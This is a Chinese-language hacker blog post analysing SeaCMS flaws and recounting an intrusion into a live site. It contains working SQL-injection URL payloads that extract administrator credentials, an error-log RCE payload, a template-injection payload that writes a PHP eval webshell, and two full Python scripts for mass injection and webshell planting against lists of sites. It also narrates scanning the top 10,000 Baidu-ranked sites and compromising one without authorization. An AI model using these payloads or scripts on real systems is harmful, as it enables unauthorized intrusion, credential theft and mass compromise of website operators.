苹果cms模板
零基础黑客教程,黑客圈新闻,安全面试经验
尽在 # 暗网黑客 #
一
海洋CMS简介
海洋cms是为解决站长核心需求而设计的视频内容管理系统
一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。
——来自seacms官网(简而言之就是专门搭建看片网站的cms)
经过我多年**的经验,很多看小电影的网站都是用的这套cms或是maccms,因此是时候血洗小电影站点了
呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。
漏洞信息都已经上了首页了。。
二
SeaCMS V9.1以下版本全版本SQL注入分析
看到了最近tools上的seacms sql注入漏洞,不由得下体一硬。干干巴巴的,cnm,必须盘他!
漏洞产生处code如下
session_start();require_once(“../../include/common.php”);$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;$page = (isset($page) && is_numeric($page)) ? $page : 1;$type = (isset($type) && is_numeric($type)) ? $type : 1;$pCount = 0;$jsoncachefile = sea_DATA.”/cache/review/$type/$id.js”;//缓存第一页的评论if($page<2){ if(file_exists($jsoncachefile)) { $json=LoadFile($jsoncachefile); die($json); }}$h = ReadData($id,$page);$rlist = array();if($page<2){ createTextFile($h,$jsoncachefile);}die($h); function ReadData($id,$page){ global $type,$pCount,$rlist; $ret = array(“”,””,$page,0,10,$type,$id); if($id>0) { $ret[0] = Readmlist($id,$page,$ret[4]); $ret[3] = $pCount; $x = implode(,,$rlist); if(!empty($x)) { $ret[1] = Readrlist($x,1,10000); } } $readData = FormatJson($ret); return $readData;}function Readmlist($id,$page,$size){ global $dsql,$type,$pCount,$rlist; $ml=array(); if($id>0) { $sqlCount = “SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC”; $rs = $dsql ->GetOne($sqlCount); $pCount = ceil($rs[dd]/$size); $sql = “SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit “.($page-1)*$size.”,$size “; $dsql->setQuery($sql); $dsql->Execute(commentmlist); while($row=$dsql->GetArray(commentmlist)) { $row[reply].=ReadReplyID($id,$row[reply],$rlist); $ml[]=”{\”cmid\”:”.$row[id].”,\”uid\”:”.$row[uid].”,\”tmp\”:\”\”,\”nick\”:\””.$row[username].”\”,\”face\”:\”\”,\”star\”:\”\”,\”anony\”:”.(empty($row[username])?1:0).”,\”from\”:\””.$row[username].”\”,\”time\”:\””.date(“Y/n/j H:i:s”,$row[dtime]).”\”,\”reply\”:\””.$row[reply].”\”,\”content\”:\””.$row[msg].”\”,\”agree\”:”.$row[agree].”,\”aginst\”:”.$row[anti].”,\”pic\”:\””.$row[pic].”\”,\”vote\”:\””.$row[vote].”\”,\”allow\”:\””.(empty($row[anti])?0:1).”\”,\”check\”:\””.$row[ischeck].”\”}”; } } $readmlist=join($ml,”,”); return $readmlist;}function Readrlist($ids,$page,$size){ global $dsql,$type; $rl=array(); $sql = “SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC”; $dsql->setQuery($sql); $dsql->Execute(commentrlist); while($row=$dsql->GetArray(commentrlist)) { $rl[]=”\””.$row[id].”\”:{\”uid\”:”.$row[uid].”,\”tmp\”:\”\”,\”nick\”:\””.$row[username].”\”,\”face\”:\”\”,\”star\”:\”\”,\”anony\”:”.(empty($row[username])?1:0).”,\”from\”:\””.$row[username].”\”,\”time\”:\””.$row[dtime].”\”,\”reply\”:\””.$row[reply].”\”,\”content\”:\””.$row[msg].”\”,\”agree\”:”.$row[agree].”,\”aginst\”:”.$row[anti].”,\”pic\”:\””.$row[pic].”\”,\”vote\”:\””.$row[vote].”\”,\”allow\”:\””.(empty($row[anti])?0:1).”\”,\”check\”:\””.$row[ischeck].”\”}”; } $readrlist=join($rl,”,”); return $readrlist;}仔细阅读以上代码,发现$rlist还未被初始化就先进入到了ReadData函数
但实际上 $rlist 可控,最终Readrlist函数造成注入
漏洞利用Exploit如下(获取管理员表中第一个用户的密码)
?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`Exploit2(获取管理员表中第一个用户的账号)
?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`三
SeaCMS最新版本RCE分析
在最新版本的Seacms中sql注入过滤api,着实让人非常蛋疼。过滤的比较全,不太好绕
与老版本的seacms对比发现,程序员不知为何脑子犯抽,注释掉了数据库类中的一行代码
导致数据库报错的信息会直接写入到/data/mysqli_error_trace.php文件下
直接实现了前台rce
Exploit如下www.xxx.com/comment/api/index.php?gid=1&page=2&rlist[]=11/?><?php phpinfo();/随后访问发现phpinfo即可执行
闲来无事,直接写了一个批量利用这个rce漏洞getshell的脚本,文末回复即可下载
四
实战
分析完漏洞后一不做二不休,直接写了个脚本怼了一下百度权重排名前10000的站点:
code如下(url.txt内容为你要批量测试的url)
import requestsprint(” Seacms v9 SQL Injection-Author:J0o1ey :”)urls = open(r”url.txt”, “r”)payload = /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`for url in urls: testurl = url.strip() + payload html = requests.get(testurl).text if “seacms” in html: print(“[+]Exploit URL:” + testurl)虽然比较简陋,但也够用了
我在文末放出了批量检测seacms的完整漏洞利用脚本,可以批量注入和getshell
各位朋友有兴趣可以回复下载
Sql注入的探测脚本发现了一个目标?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
这个站用的老版本seacms,因此不存在前台rce
获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5
somd5成功解密
密码为
随后拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台
光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。
但是,我眉头一皱,发现事情并不简单
前面获取到的密码是,这应该是管理员的吧?
猜测后台为
结果Duang的一下~真tmd是后台。。。。进去了
用之前注入到的账号密码,成功登录之
即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞
最后找到了CVE-2018-14421,一个Seacms Backend的RCE
漏洞详情链接:
漏洞分析文章:
按照作者给出的方法,是在后台编辑video的时候,在图片pic处注入代码
{if:1)$GLOBALS[_G.ET]a;//}{end if}利用是:/details/index.php?1.html&m=admin&a=assert&b=phpinfo()仔细研究了一下,不一定偏要像作者那样利用,只要在这个video的照片出现的地方通过get方式传导php代码即可实现参数污染
我在首页上找到了一个叫做“传说中的七公主”的video,
在后台搜索该影片后我把它的照片链接处改为了{if:1)$GLOBALS[‘_G’.’ET’]a;//}{end if}
随后访问链接:?1.html&m=admin&a=assert&b=${fputs(fopen(%27d.php%27,%27w%27),%27%3C?php%20@eval($_POST[c])?%3E%27)};
成功通过RCE利用PHP的fputs函数在网站根目录下,写入了一个名为d.php的Webshell(密码为c)
高高兴兴连接之
五
感想
没有网络安全就没有国家安全,愿你我永立网络安全的潮头,为祖国的长治久安保驾护航。
扫描下方二维码
从kalii入门玩转安全渗透工具
成为合格的渗透工程师
一线安全工程师每天在线直播授课
黑客教程视频 靶场工具 讲师课件
扫码免费领取
六
批量利用脚本
Seacms Rce批量getshell脚本
[Python] 纯文本查看 复制代码
?
#!/usr/bin/env python3
#- * -encoding: utf – 8 – * –
# #Seacms Rce latest author:J0o1ey
import base64
import requests
import threading
import queue
q = queue.Queue()
file = open(url.txt,w+)
for x in file.readlines():
q.put(x.strip())
print(“============Write the shell started!==============\n”)# 写命令执行马
def cmd():
while not q.empty():
url = q.get()
headers={
Content-Type: text/xml,
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/ Firefox/52.
}
requests.packages.urllib3.disable_warnings()
try:
get = requests.get(url = url + /comment/api/index.php?gid=1&page=2&rlist[]=11*/?><?php @eval($_POST[“c”]);echo “123”;/*, headers = headers, verify = False, timeout = 10)
r = requests.get(url = url + /data/mysqli_error_trace.php, headers = headers, timeout = 10, verify = False)
if 123 in r.text:
print(!=========Write to successful : + url + /data/mysqli_error_trace.php + =======password:c========!!!\n)
with open(success.txt, a) as f:
f.write(url + \n)
except:
pass
if __name__ ==__main__:
for i in range(4):
tshen= threading.Thread(target=cmd)
tshen.start()
tshen.join()
# 线程队列部分
Seacms注入,批量获取管理员账号密码脚本
[Python] 纯文本查看 复制代码
?
#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
import requests
import threading
import queue
import re
q=queue.Queue()
file=open(url.txt)
for x in file.readlines():
q.put(x.strip())
print(“============seacms注入漏洞!!==============\n”)
def sql():
while not q.empty():
url=q.get()
headers={Content-Type:text/xml,User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/ Firefox/52.}
try:
password=requests.get(url=url+comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`,headers=headers,verify=False,timeout=10).text
seucc=re.findall(“Error infos: XPATH syntax error: (.*?) <br />”,password,re.S)
name=requests.get(url=url+comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`,headers=headers,verify=False,timeout=10).text
seucc2=re.findall(“Error infos: XPATH syntax error: (.*?) <br />”,name,re.S)
for i in seucc:
print(url+账号:+re.split( ,i)[1])
for i in seucc2:
print(url+密码:+re.split( ,i)[1])
except:
pass
def thread():
# 线程队列部分
th = []
th_num = 10
for x in range(th_num):
t=threading.Thread(target=sql)
th.append(t)
for x in range(th_num):
th[x].start()
for x in range(th_num):
th[x].join()
if __name__ == __main__:
thread()
往期内容回顾
教你30分钟搭建一个属于自己的网盘
看我如何用漏洞组合拳给小萝莉刷票
一条链接获取对方后台地址+GPS定位
手动教你-我是如何从sql注入拿到系统权限+内网渗透
成为一名合格的黑客!
黑客教程视频 靶场工具 讲师课件
扫码免费领取
海洋cms模板